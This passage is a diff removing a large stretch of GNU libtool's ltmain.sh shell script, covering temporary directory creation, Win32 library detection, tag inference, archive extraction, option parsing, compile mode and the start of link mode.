- # If mktemp works, use that first and foremost
- my_tmpdir=`mktemp -d "${my_template}-XXXXXXXX" 2>/dev/null`
-
- if test ! -d "$my_tmpdir"; then
- # Failing that, at least try and use $RANDOM to avoid a race
- my_tmpdir="${my_template}-${RANDOM-0}$$"
-
- save_mktempdir_umask=`umask`
- umask 0077
- $mkdir "$my_tmpdir"
- umask $save_mktempdir_umask
- fi
-
- # If we're not in dry-run mode, bomb out on failure
- test -d "$my_tmpdir" || {
- $echo "cannot create temporary directory \`$my_tmpdir'" 1>&2
- exit $EXIT_FAILURE
- }
- fi
-
- $echo "X$my_tmpdir" | $Xsed
-}
-
-
-# func_win32_libid arg
-# return the library type of file 'arg'
-#
-# Need a lot of goo to handle *both* DLLs and import libs
-# Has to be a shell function in order to 'eat' the argument
-# that is supplied when $file_magic_command is called.
-func_win32_libid ()
-{
- win32_libid_type="unknown"
- win32_fileres=`file -L $1 2>/dev/null`
- case $win32_fileres in
- *ar\ archive\ import\ library*) # definitely import
- win32_libid_type="x86 archive import"
- ;;
- *ar\ archive*) # could be an import, or static
- if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null | \
- $EGREP -e 'file format pe-i386(.*architecture: i386)?' >/dev/null ; then
- win32_nmres=`eval $NM -f posix -A $1 | \
- $SED -n -e '1,100{/ I /{s,.*,import,;p;q;};}'`
- case $win32_nmres in
- import*) win32_libid_type="x86 archive import";;
- *) win32_libid_type="x86 archive static";;
- esac
- fi
- ;;
- *DLL*)
- win32_libid_type="x86 DLL"
- ;;
- *executable*) # but shell scripts are "executable" too...
- case $win32_fileres in
- *MS\ Windows\ PE\ Intel*)
- win32_libid_type="x86 DLL"
- ;;
- esac
- ;;
- esac
- $echo $win32_libid_type
-}
-
-
-# func_infer_tag arg
-# Infer tagged configuration to use if any are available and
-# if one wasn't chosen via the "--tag" command line option.
-# Only attempt this if the compiler in the base compile
-# command doesn't match the default compiler.
-# arg is usually of the form 'gcc ...'
-func_infer_tag ()
-{
- if test -n "$available_tags" && test -z "$tagname"; then
- CC_quoted=
- for arg in $CC; do
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- CC_quoted="$CC_quoted $arg"
- done
- case $@ in
- # Blanks in the command may have been stripped by the calling shell,
- # but not from the CC environment variable when configure was run.
- " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*) ;;
- # Blanks at the start of $base_compile will cause this to fail
- # if we don't check for them as well.
- *)
- for z in $available_tags; do
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /dev/null; then
- # Evaluate the configuration.
- eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`"
- CC_quoted=
- for arg in $CC; do
- # Double-quote args containing other shell metacharacters.
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- CC_quoted="$CC_quoted $arg"
- done
- case "$@ " in
- " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*)
- # The compiler in the base compile command matches
- # the one in the tagged configuration.
- # Assume this is the tagged configuration we want.
- tagname=$z
- break
- ;;
- esac
- fi
- done
- # If $tagname still isn't set, then no tagged configuration
- # was found and let the user know that the "--tag" command
- # line option must be used.
- if test -z "$tagname"; then
- $echo "$modename: unable to infer tagged configuration"
- $echo "$modename: specify a tag with \`--tag'" 1>&2
- exit $EXIT_FAILURE
-# else
-# $echo "$modename: using $tagname tagged configuration"
- fi
- ;;
- esac
- fi
-}
-
-
-# func_extract_an_archive dir oldlib
-func_extract_an_archive ()
-{
- f_ex_an_ar_dir="$1"; shift
- f_ex_an_ar_oldlib="$1"
-
- $show "(cd $f_ex_an_ar_dir && $AR x $f_ex_an_ar_oldlib)"
- $run eval "(cd \$f_ex_an_ar_dir && $AR x \$f_ex_an_ar_oldlib)" || exit $?
- if ($AR t "$f_ex_an_ar_oldlib" | sort | sort -uc >/dev/null 2>&1); then
- :
- else
- $echo "$modename: ERROR: object name conflicts: $f_ex_an_ar_dir/$f_ex_an_ar_oldlib" 1>&2
- exit $EXIT_FAILURE
- fi
-}
-
-# func_extract_archives gentop oldlib ...
-func_extract_archives ()
-{
- my_gentop="$1"; shift
- my_oldlibs=${1+"$@"}
- my_oldobjs=""
- my_xlib=""
- my_xabs=""
- my_xdir=""
- my_status=""
-
- $show "${rm}r $my_gentop"
- $run ${rm}r "$my_gentop"
- $show "$mkdir $my_gentop"
- $run $mkdir "$my_gentop"
- my_status=$?
- if test "$my_status" -ne 0 && test ! -d "$my_gentop"; then
- exit $my_status
- fi
-
- for my_xlib in $my_oldlibs; do
- # Extract the objects.
- case $my_xlib in
- [\\/]* | [A-Za-z]:[\\/]*) my_xabs="$my_xlib" ;;
- *) my_xabs=`pwd`"/$my_xlib" ;;
- esac
- my_xlib=`$echo "X$my_xlib" | $Xsed -e 's%^.*/%%'`
- my_xdir="$my_gentop/$my_xlib"
-
- $show "${rm}r $my_xdir"
- $run ${rm}r "$my_xdir"
- $show "$mkdir $my_xdir"
- $run $mkdir "$my_xdir"
- exit_status=$?
- if test "$exit_status" -ne 0 && test ! -d "$my_xdir"; then
- exit $exit_status
- fi
- case $host in
- *-darwin*)
- $show "Extracting $my_xabs"
- # Do not bother doing anything if just a dry run
- if test -z "$run"; then
- darwin_orig_dir=`pwd`
- cd $my_xdir || exit $?
- darwin_archive=$my_xabs
- darwin_curdir=`pwd`
- darwin_base_archive=`$echo "X$darwin_archive" | $Xsed -e 's%^.*/%%'`
- darwin_arches=`lipo -info "$darwin_archive" 2>/dev/null | $EGREP Architectures 2>/dev/null`
- if test -n "$darwin_arches"; then
- darwin_arches=`echo "$darwin_arches" | $SED -e 's/.*are://'`
- darwin_arch=
- $show "$darwin_base_archive has multiple architectures $darwin_arches"
- for darwin_arch in $darwin_arches ; do
- mkdir -p "unfat-$$/${darwin_base_archive}-${darwin_arch}"
- lipo -thin $darwin_arch -output "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" "${darwin_archive}"
- cd "unfat-$$/${darwin_base_archive}-${darwin_arch}"
- func_extract_an_archive "`pwd`" "${darwin_base_archive}"
- cd "$darwin_curdir"
- $rm "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}"
- done # $darwin_arches
- ## Okay now we have a bunch of thin objects, gotta fatten them up :)
- darwin_filelist=`find unfat-$$ -type f -name \*.o -print -o -name \*.lo -print| xargs basename | sort -u | $NL2SP`
- darwin_file=
- darwin_files=
- for darwin_file in $darwin_filelist; do
- darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP`
- lipo -create -output "$darwin_file" $darwin_files
- done # $darwin_filelist
- ${rm}r unfat-$$
- cd "$darwin_orig_dir"
- else
- cd "$darwin_orig_dir"
- func_extract_an_archive "$my_xdir" "$my_xabs"
- fi # $darwin_arches
- fi # $run
- ;;
- *)
- func_extract_an_archive "$my_xdir" "$my_xabs"
- ;;
- esac
- my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP`
- done
- func_extract_archives_result="$my_oldobjs"
-}
-# End of Shell function definitions
-#####################################
-
-# Darwin sucks
-eval std_shrext=\"$shrext_cmds\"
-
-disable_libs=no
-
-# Parse our command line options once, thoroughly.
-while test "$#" -gt 0
-do
- arg="$1"
- shift
-
- case $arg in
- -*=*) optarg=`$echo "X$arg" | $Xsed -e 's/[-_a-zA-Z0-9]*=//'` ;;
- *) optarg= ;;
- esac
-
- # If the previous option needs an argument, assign it.
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- case $prev in
- execute_dlfiles)
- execute_dlfiles="$execute_dlfiles $arg"
- ;;
- tag)
- tagname="$arg"
- preserve_args="${preserve_args}=$arg"
-
- # Check whether tagname contains only valid characters
- case $tagname in
- *[!-_A-Za-z0-9,/]*)
- $echo "$progname: invalid tag name: $tagname" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- case $tagname in
- CC)
- # Don't test for the "default" C tag, as we know, it's there, but
- # not specially marked.
- ;;
- *)
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "$progpath" > /dev/null; then
- taglist="$taglist $tagname"
- # Evaluate the configuration.
- eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$tagname'$/,/^# ### END LIBTOOL TAG CONFIG: '$tagname'$/p' < $progpath`"
- else
- $echo "$progname: ignoring unknown tag $tagname" 1>&2
- fi
- ;;
- esac
- ;;
- *)
- eval "$prev=\$arg"
- ;;
- esac
-
- prev=
- prevopt=
- continue
- fi
-
- # Have we seen a non-optional argument yet?
- case $arg in
- --help)
- show_help=yes
- ;;
-
- --version)
- $echo "$PROGRAM (GNU $PACKAGE) $VERSION$TIMESTAMP"
- $echo
- $echo "Copyright (C) 2005 Free Software Foundation, Inc."
- $echo "This is free software; see the source for copying conditions. There is NO"
- $echo "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
- exit $?
- ;;
-
- --config)
- ${SED} -e '1,/^# ### BEGIN LIBTOOL CONFIG/d' -e '/^# ### END LIBTOOL CONFIG/,$d' $progpath
- # Now print the configurations for the tags.
- for tagname in $taglist; do
- ${SED} -n -e "/^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$/,/^# ### END LIBTOOL TAG CONFIG: $tagname$/p" < "$progpath"
- done
- exit $?
- ;;
-
- --debug)
- $echo "$progname: enabling shell trace mode"
- set -x
- preserve_args="$preserve_args $arg"
- ;;
-
- --dry-run | -n)
- run=:
- ;;
-
- --features)
- $echo "host: $host"
- if test "$build_libtool_libs" = yes; then
- $echo "enable shared libraries"
- else
- $echo "disable shared libraries"
- fi
- if test "$build_old_libs" = yes; then
- $echo "enable static libraries"
- else
- $echo "disable static libraries"
- fi
- exit $?
- ;;
-
- --finish) mode="finish" ;;
-
- --mode) prevopt="--mode" prev=mode ;;
- --mode=*) mode="$optarg" ;;
-
- --preserve-dup-deps) duplicate_deps="yes" ;;
-
- --quiet | --silent)
- show=:
- preserve_args="$preserve_args $arg"
- ;;
-
- --tag)
- prevopt="--tag"
- prev=tag
- preserve_args="$preserve_args --tag"
- ;;
- --tag=*)
- set tag "$optarg" ${1+"$@"}
- shift
- prev=tag
- preserve_args="$preserve_args --tag"
- ;;
-
- -dlopen)
- prevopt="-dlopen"
- prev=execute_dlfiles
- ;;
-
- -*)
- $echo "$modename: unrecognized option \`$arg'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- ;;
-
- *)
- nonopt="$arg"
- break
- ;;
- esac
-done
-
-if test -n "$prevopt"; then
- $echo "$modename: option \`$prevopt' requires an argument" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
-fi
-
-case $disable_libs in
-no)
- ;;
-shared)
- build_libtool_libs=no
- build_old_libs=yes
- ;;
-static)
- build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac`
- ;;
-esac
-
-# If this variable is set in any of the actions, the command in it
-# will be execed at the end. This prevents here-documents from being
-# left over by shells.
-exec_cmd=
-
-if test -z "$show_help"; then
-
- # Infer the operation mode.
- if test -z "$mode"; then
- $echo "*** Warning: inferring the mode of operation is deprecated." 1>&2
- $echo "*** Future versions of Libtool will require --mode=MODE be specified." 1>&2
- case $nonopt in
- *cc | cc* | *++ | gcc* | *-gcc* | g++* | xlc*)
- mode=link
- for arg
- do
- case $arg in
- -c)
- mode=compile
- break
- ;;
- esac
- done
- ;;
- *db | *dbx | *strace | *truss)
- mode=execute
- ;;
- *install*|cp|mv)
- mode=install
- ;;
- *rm)
- mode=uninstall
- ;;
- *)
- # If we have no mode, but dlfiles were specified, then do execute mode.
- test -n "$execute_dlfiles" && mode=execute
-
- # Just use the default operation mode.
- if test -z "$mode"; then
- if test -n "$nonopt"; then
- $echo "$modename: warning: cannot infer operation mode from \`$nonopt'" 1>&2
- else
- $echo "$modename: warning: cannot infer operation mode without MODE-ARGS" 1>&2
- fi
- fi
- ;;
- esac
- fi
-
- # Only execute mode is allowed to have -dlopen flags.
- if test -n "$execute_dlfiles" && test "$mode" != execute; then
- $echo "$modename: unrecognized option \`-dlopen'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Change the help message to a mode-specific one.
- generic_help="$help"
- help="Try \`$modename --help --mode=$mode' for more information."
-
- # These modes are in order of execution frequency so that they run quickly.
- case $mode in
- # libtool compile mode
- compile)
- modename="$modename: compile"
- # Get the compilation command and the source file.
- base_compile=
- srcfile="$nonopt" # always keep a non-empty value in "srcfile"
- suppress_opt=yes
- suppress_output=
- arg_mode=normal
- libobj=
- later=
-
- for arg
- do
- case $arg_mode in
- arg )
- # do not "continue". Instead, add this to base_compile
- lastarg="$arg"
- arg_mode=normal
- ;;
-
- target )
- libobj="$arg"
- arg_mode=normal
- continue
- ;;
-
- normal )
- # Accept any command-line options.
- case $arg in
- -o)
- if test -n "$libobj" ; then
- $echo "$modename: you cannot specify \`-o' more than once" 1>&2
- exit $EXIT_FAILURE
- fi
- arg_mode=target
- continue
- ;;
-
- -static | -prefer-pic | -prefer-non-pic)
- later="$later $arg"
- continue
- ;;
-
- -no-suppress)
- suppress_opt=no
- continue
- ;;
-
- -Xcompiler)
- arg_mode=arg # the next one goes into the "base_compile" arg list
- continue # The current "srcfile" will either be retained or
- ;; # replaced later. I would guess that would be a bug.
-
- -Wc,*)
- args=`$echo "X$arg" | $Xsed -e "s/^-Wc,//"`
- lastarg=
- save_ifs="$IFS"; IFS=','
- for arg in $args; do
- IFS="$save_ifs"
-
- # Double-quote args containing other shell metacharacters.
- # Many Bourne shells cannot handle close brackets correctly
- # in scan sets, so we specify it separately.
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- lastarg="$lastarg $arg"
- done
- IFS="$save_ifs"
- lastarg=`$echo "X$lastarg" | $Xsed -e "s/^ //"`
-
- # Add the arguments to base_compile.
- base_compile="$base_compile $lastarg"
- continue
- ;;
-
- * )
- # Accept the current argument as the source file.
- # The previous "srcfile" becomes the current argument.
- #
- lastarg="$srcfile"
- srcfile="$arg"
- ;;
- esac # case $arg
- ;;
- esac # case $arg_mode
-
- # Aesthetically quote the previous argument.
- lastarg=`$echo "X$lastarg" | $Xsed -e "$sed_quote_subst"`
-
- case $lastarg in
- # Double-quote args containing other shell metacharacters.
- # Many Bourne shells cannot handle close brackets correctly
- # in scan sets, and some SunOS ksh mistreat backslash-escaping
- # in scan sets (worked around with variable expansion),
- # and furthermore cannot handle '|' '&' '(' ')' in scan sets
- # at all, so we specify them separately.
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- lastarg="\"$lastarg\""
- ;;
- esac
-
- base_compile="$base_compile $lastarg"
- done # for arg
-
- case $arg_mode in
- arg)
- $echo "$modename: you must specify an argument for -Xcompile"
- exit $EXIT_FAILURE
- ;;
- target)
- $echo "$modename: you must specify a target with \`-o'" 1>&2
- exit $EXIT_FAILURE
- ;;
- *)
- # Get the name of the library object.
- [ -z "$libobj" ] && libobj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%'`
- ;;
- esac
-
- # Recognize several different file suffixes.
- # If the user specifies -o file.o, it is replaced with file.lo
- xform='[cCFSifmso]'
- case $libobj in
- *.ada) xform=ada ;;
- *.adb) xform=adb ;;
- *.ads) xform=ads ;;
- *.asm) xform=asm ;;
- *.c++) xform=c++ ;;
- *.cc) xform=cc ;;
- *.ii) xform=ii ;;
- *.class) xform=class ;;
- *.cpp) xform=cpp ;;
- *.cxx) xform=cxx ;;
- *.f90) xform=f90 ;;
- *.for) xform=for ;;
- *.java) xform=java ;;
- esac
-
- libobj=`$echo "X$libobj" | $Xsed -e "s/\.$xform$/.lo/"`
-
- case $libobj in
- *.lo) obj=`$echo "X$libobj" | $Xsed -e "$lo2o"` ;;
- *)
- $echo "$modename: cannot determine name of library object from \`$libobj'" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- func_infer_tag $base_compile
-
- for arg in $later; do
- case $arg in
- -static)
- build_old_libs=yes
- continue
- ;;
-
- -prefer-pic)
- pic_mode=yes
- continue
- ;;
-
- -prefer-non-pic)
- pic_mode=no
- continue
- ;;
- esac
- done
-
- qlibobj=`$echo "X$libobj" | $Xsed -e "$sed_quote_subst"`
- case $qlibobj in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- qlibobj="\"$qlibobj\"" ;;
- esac
- test "X$libobj" != "X$qlibobj" \
- && $echo "X$libobj" | grep '[]~#^*{};<>?"'"'"' &()|`$[]' \
- && $echo "$modename: libobj name \`$libobj' may not contain shell special characters."
- objname=`$echo "X$obj" | $Xsed -e 's%^.*/%%'`
- xdir=`$echo "X$obj" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$obj"; then
- xdir=
- else
- xdir=$xdir/
- fi
- lobj=${xdir}$objdir/$objname
-
- if test -z "$base_compile"; then
- $echo "$modename: you must specify a compilation command" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Delete any leftover library objects.
- if test "$build_old_libs" = yes; then
- removelist="$obj $lobj $libobj ${libobj}T"
- else
- removelist="$lobj $libobj ${libobj}T"
- fi
-
- $run $rm $removelist
- trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15
-
- # On Cygwin there's no "real" PIC flag so we must build both object types
- case $host_os in
- cygwin* | mingw* | pw32* | os2*)
- pic_mode=default
- ;;
- esac
- if test "$pic_mode" = no && test "$deplibs_check_method" != pass_all; then
- # non-PIC code in shared libraries is not supported
- pic_mode=default
- fi
-
- # Calculate the filename of the output object if compiler does
- # not support -o with -c
- if test "$compiler_c_o" = no; then
- output_obj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%' -e 's%\.[^.]*$%%'`.${objext}
- lockfile="$output_obj.lock"
- removelist="$removelist $output_obj $lockfile"
- trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15
- else
- output_obj=
- need_locks=no
- lockfile=
- fi
-
- # Lock this critical section if it is needed
- # We use this script file to make the link, it avoids creating a new file
- if test "$need_locks" = yes; then
- until $run ln "$progpath" "$lockfile" 2>/dev/null; do
- $show "Waiting for $lockfile to be removed"
- sleep 2
- done
- elif test "$need_locks" = warn; then
- if test -f "$lockfile"; then
- $echo "\
-*** ERROR, $lockfile exists and contains:
-`cat $lockfile 2>/dev/null`
-
-This indicates that another process is trying to use the same
-temporary object file, and libtool could not work around it because
-your compiler does not support \`-c' and \`-o' together. If you
-repeat this compilation, it may succeed, by chance, but you had better
-avoid parallel builds (make -j) in this platform, or get a better
-compiler."
-
- $run $rm $removelist
- exit $EXIT_FAILURE
- fi
- $echo "$srcfile" > "$lockfile"
- fi
-
- if test -n "$fix_srcfile_path"; then
- eval srcfile=\"$fix_srcfile_path\"
- fi
- qsrcfile=`$echo "X$srcfile" | $Xsed -e "$sed_quote_subst"`
- case $qsrcfile in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- qsrcfile="\"$qsrcfile\"" ;;
- esac
-
- $run $rm "$libobj" "${libobj}T"
-
- # Create a libtool object file (analogous to a ".la" file),
- # but don't create it if we're doing a dry run.
- test -z "$run" && cat > ${libobj}T <<EOF
-# $libobj - a libtool object file
-# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP
-#
-# Please DO NOT delete this file!
-# It is necessary for linking the library.
-
-# Name of the PIC object.
-EOF
-
- # Only build a PIC object if we are building libtool libraries.
- if test "$build_libtool_libs" = yes; then
- # Without this assignment, base_compile gets emptied.
- fbsd_hideous_sh_bug=$base_compile
-
- if test "$pic_mode" != no; then
- command="$base_compile $qsrcfile $pic_flag"
- else
- # Don't build PIC code
- command="$base_compile $qsrcfile"
- fi
-
- if test ! -d "${xdir}$objdir"; then
- $show "$mkdir ${xdir}$objdir"
- $run $mkdir ${xdir}$objdir
- exit_status=$?
- if test "$exit_status" -ne 0 && test ! -d "${xdir}$objdir"; then
- exit $exit_status
- fi
- fi
-
- if test -z "$output_obj"; then
- # Place PIC objects in $objdir
- command="$command -o $lobj"
- fi
-
- $run $rm "$lobj" "$output_obj"
-
- $show "$command"
- if $run eval "$command"; then :
- else
- test -n "$output_obj" && $run $rm $removelist
- exit $EXIT_FAILURE
- fi
-
- if test "$need_locks" = warn &&
- test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then
- $echo "\
-*** ERROR, $lockfile contains:
-`cat $lockfile 2>/dev/null`
-
-but it should contain:
-$srcfile
-
-This indicates that another process is trying to use the same
-temporary object file, and libtool could not work around it because
-your compiler does not support \`-c' and \`-o' together. If you
-repeat this compilation, it may succeed, by chance, but you had better
-avoid parallel builds (make -j) in this platform, or get a better
-compiler."
-
- $run $rm $removelist
- exit $EXIT_FAILURE
- fi
-
- # Just move the object if needed, then go on to compile the next one
- if test -n "$output_obj" && test "X$output_obj" != "X$lobj"; then
- $show "$mv $output_obj $lobj"
- if $run $mv $output_obj $lobj; then :
- else
- error=$?
- $run $rm $removelist
- exit $error
- fi
- fi
-
- # Append the name of the PIC object to the libtool object file.
- test -z "$run" && cat >> ${libobj}T <<EOF
-pic_object='$objdir/$objname'
-
-EOF
-
- # Allow error messages only from the first compilation.
- if test "$suppress_opt" = yes; then
- suppress_output=' >/dev/null 2>&1'
- fi
- else
- # No PIC object so indicate it doesn't exist in the libtool
- # object file.
- test -z "$run" && cat >> ${libobj}T <<EOF
-pic_object=none
-
-EOF
- fi
-
- # Only build a position-dependent object if we build old libraries.
- if test "$build_old_libs" = yes; then
- if test "$pic_mode" != yes; then
- # Don't build PIC code
- command="$base_compile $qsrcfile"
- else
- command="$base_compile $qsrcfile $pic_flag"
- fi
- if test "$compiler_c_o" = yes; then
- command="$command -o $obj"
- fi
-
- # Suppress compiler output if we already did a PIC compilation.
- command="$command$suppress_output"
- $run $rm "$obj" "$output_obj"
- $show "$command"
- if $run eval "$command"; then :
- else
- $run $rm $removelist
- exit $EXIT_FAILURE
- fi
-
- if test "$need_locks" = warn &&
- test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then
- $echo "\
-*** ERROR, $lockfile contains:
-`cat $lockfile 2>/dev/null`
-
-but it should contain:
-$srcfile
-
-This indicates that another process is trying to use the same
-temporary object file, and libtool could not work around it because
-your compiler does not support \`-c' and \`-o' together. If you
-repeat this compilation, it may succeed, by chance, but you had better
-avoid parallel builds (make -j) in this platform, or get a better
-compiler."
-
- $run $rm $removelist
- exit $EXIT_FAILURE
- fi
-
- # Just move the object if needed
- if test -n "$output_obj" && test "X$output_obj" != "X$obj"; then
- $show "$mv $output_obj $obj"
- if $run $mv $output_obj $obj; then :
- else
- error=$?
- $run $rm $removelist
- exit $error
- fi
- fi
-
- # Append the name of the non-PIC object the libtool object file.
- # Only append if the libtool object file exists.
- test -z "$run" && cat >> ${libobj}T <<EOF
-# Name of the non-PIC object.
-non_pic_object='$objname'
-
-EOF
- else
- # Append the name of the non-PIC object the libtool object file.
- # Only append if the libtool object file exists.
- test -z "$run" && cat >> ${libobj}T <<EOF
-# Name of the non-PIC object.
-non_pic_object=none
-
-EOF
- fi
-
- $run $mv "${libobj}T" "${libobj}"
-
- # Unlock the critical section if it was locked
- if test "$need_locks" != no; then
- $run $rm "$lockfile"
- fi
-
- exit $EXIT_SUCCESS
- ;;
-
- # libtool link mode
- link | relink)
- modename="$modename: link"
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
- # It is impossible to link a dll without this setting, and
- # we shouldn't force the makefile maintainer to figure out
- # which system we are compiling for in order to pass an extra
- # flag for every libtool invocation.
- # allow_undefined=no
-
- # FIXME: Unfortunately, there are problems with the above when trying
- # to make a dll which has undefined symbols, in which case not
- # even a static library is built. For now, we need to specify
- # -no-undefined on the libtool link line when we can be certain
- # that all symbols are satisfied, otherwise we get a static library.
- allow_undefined=yes
- ;;
- *)
- allow_undefined=yes
- ;;
- esac
- libtool_args="$nonopt"
- base_compile="$nonopt $@"
- compile_command="$nonopt"
- finalize_command="$nonopt"
-
- compile_rpath=
- finalize_rpath=
- compile_shlibpath=
- finalize_shlibpath=
- convenience=
- old_convenience=
- deplibs=
- old_deplibs=
- compiler_flags=
- linker_flags=
- dllsearchpath=
- lib_search_path=`pwd`
- inst_prefix_dir=
-
- avoid_version=no
- dlfiles=
- dlprefiles=
- dlself=no
- export_dynamic=no
- export_symbols=
- export_symbols_regex=
- generated=
- libobjs=
- ltlibs=
- module=no
- no_install=no
- objs=
- non_pic_objects=
- notinst_path= # paths that contain not-installed libtool libraries
- precious_files_regex=
- prefer_static_libs=no
- preload=no
- prev=
- prevarg=
- release=
- rpath=
- xrpath=
- perm_rpath=
- temp_rpath=
- thread_safe=no
- vinfo=
- vinfo_number=no
-
- func_infer_tag $base_compile
-
- # We need to know -static, to get the right output filenames.
- for arg
- do
- case $arg in
- -all-static | -static)
- if test "X$arg" = "X-all-static"; then
- if test "$build_libtool_libs" = yes && test -z "$link_static_flag"; then
- $echo "$modename: warning: complete static linking is impossible in this configuration" 1>&2
- fi
- if test -n "$link_static_flag"; then
- dlopen_self=$dlopen_self_static
- fi
- prefer_static_libs=yes
- else
- if test -z "$pic_flag" && test -n "$link_static_flag"; then
- dlopen_self=$dlopen_self_static
- fi
- prefer_static_libs=built
- fi
- build_libtool_libs=no
- build_old_libs=yes
- break
- ;;
- esac
- done
-
- # See if our shared archives depend on static archives.
- test -n "$old_archive_from_new_cmds" && build_old_libs=yes
-
- # Go through the arguments, transforming them on the way.
- while test "$#" -gt 0; do
- arg="$1"
- shift
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- qarg=\"`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`\" ### testsuite: skip nested quoting test
- ;;
- *) qarg=$arg ;;
- esac
- libtool_args="$libtool_args $qarg"
-
- # If the previous option needs an argument, assign it.
- if test -n "$prev"; then
- case $prev in
- output)
- compile_command="$compile_command @OUTPUT@"
- finalize_command="$finalize_command @OUTPUT@"
- ;;
- esac
-
- case $prev in
- dlfiles|dlprefiles)
- if test "$preload" = no; then
- # Add the symbol object into the linking commands.
- compile_command="$compile_command @SYMFILE@"
- finalize_command="$finalize_command @SYMFILE@"
- preload=yes
- fi
- case $arg in
- *.la | *.lo) ;; # We handle these cases below.
- force)
- if test "$dlself" = no; then
- dlself=needless
- export_dynamic=yes
- fi
- prev=
- continue
- ;;
- self)
- if test "$prev" = dlprefiles; then
- dlself=yes
- elif test "$prev" = dlfiles && test "$dlopen_self" != yes; then
- dlself=yes
- else
- dlself=needless
- export_dynamic=yes
- fi
- prev=
- continue
- ;;
- *)
- if test "$prev" = dlfiles; then
- dlfiles="$dlfiles $arg"
- else
- dlprefiles="$dlprefiles $arg"
- fi
- prev=
- continue
- ;;
- esac
- ;;
- expsyms)
- export_symbols="$arg"
- if test ! -f "$arg"; then
- $echo "$modename: symbol file \`$arg' does not exist"
- exit $EXIT_FAILURE
- fi
- prev=
- continue
- ;;
- expsyms_regex)
- export_symbols_regex="$arg"
- prev=
- continue
- ;;
- inst_prefix)
- inst_prefix_dir="$arg"
- prev=
- continue
- ;;
- precious_regex)
- precious_files_regex="$arg"
- prev=
- continue
- ;;
- release)
- release="-$arg"
- prev=
- continue
- ;;
- objectlist)
- if test -f "$arg"; then
- save_arg=$arg
- moreargs=
- for fil in `cat $save_arg`
- do
-# moreargs="$moreargs $fil"
- arg=$fil
- # A libtool-controlled object.
-
- # Check to see that this really is a libtool object.
- if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
- pic_object=
- non_pic_object=
-
- # Read the .lo file
- # If there is no directory component, then add one.
- case $arg in
- */* | *\\*) . $arg ;;
- *) . ./$arg ;;
- esac
-
- if test -z "$pic_object" || \
- test -z "$non_pic_object" ||
- test "$pic_object" = none && \
- test "$non_pic_object" = none; then
- $echo "$modename: cannot find name of object for \`$arg'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Extract subdirectory from the argument.
- xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$arg"; then
- xdir=
- else
- xdir="$xdir/"
- fi
-
- if test "$pic_object" != none; then
- # Prepend the subdirectory the object is found in.
- pic_object="$xdir$pic_object"
-
- if test "$prev" = dlfiles; then
- if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
- dlfiles="$dlfiles $pic_object"
- prev=
- continue
- else
- # If libtool objects are unsupported, then we need to preload.
- prev=dlprefiles
- fi
- fi
-
- # CHECK ME: I think I busted this. -Ossama
- if test "$prev" = dlprefiles; then
- # Preload the old-style object.
- dlprefiles="$dlprefiles $pic_object"
- prev=
- fi
-
- # A PIC object.
- libobjs="$libobjs $pic_object"
- arg="$pic_object"
- fi
-
- # Non-PIC object.
- if test "$non_pic_object" != none; then
- # Prepend the subdirectory the object is found in.
- non_pic_object="$xdir$non_pic_object"
-
- # A standard non-PIC object
- non_pic_objects="$non_pic_objects $non_pic_object"
- if test -z "$pic_object" || test "$pic_object" = none ; then
- arg="$non_pic_object"
- fi
- else
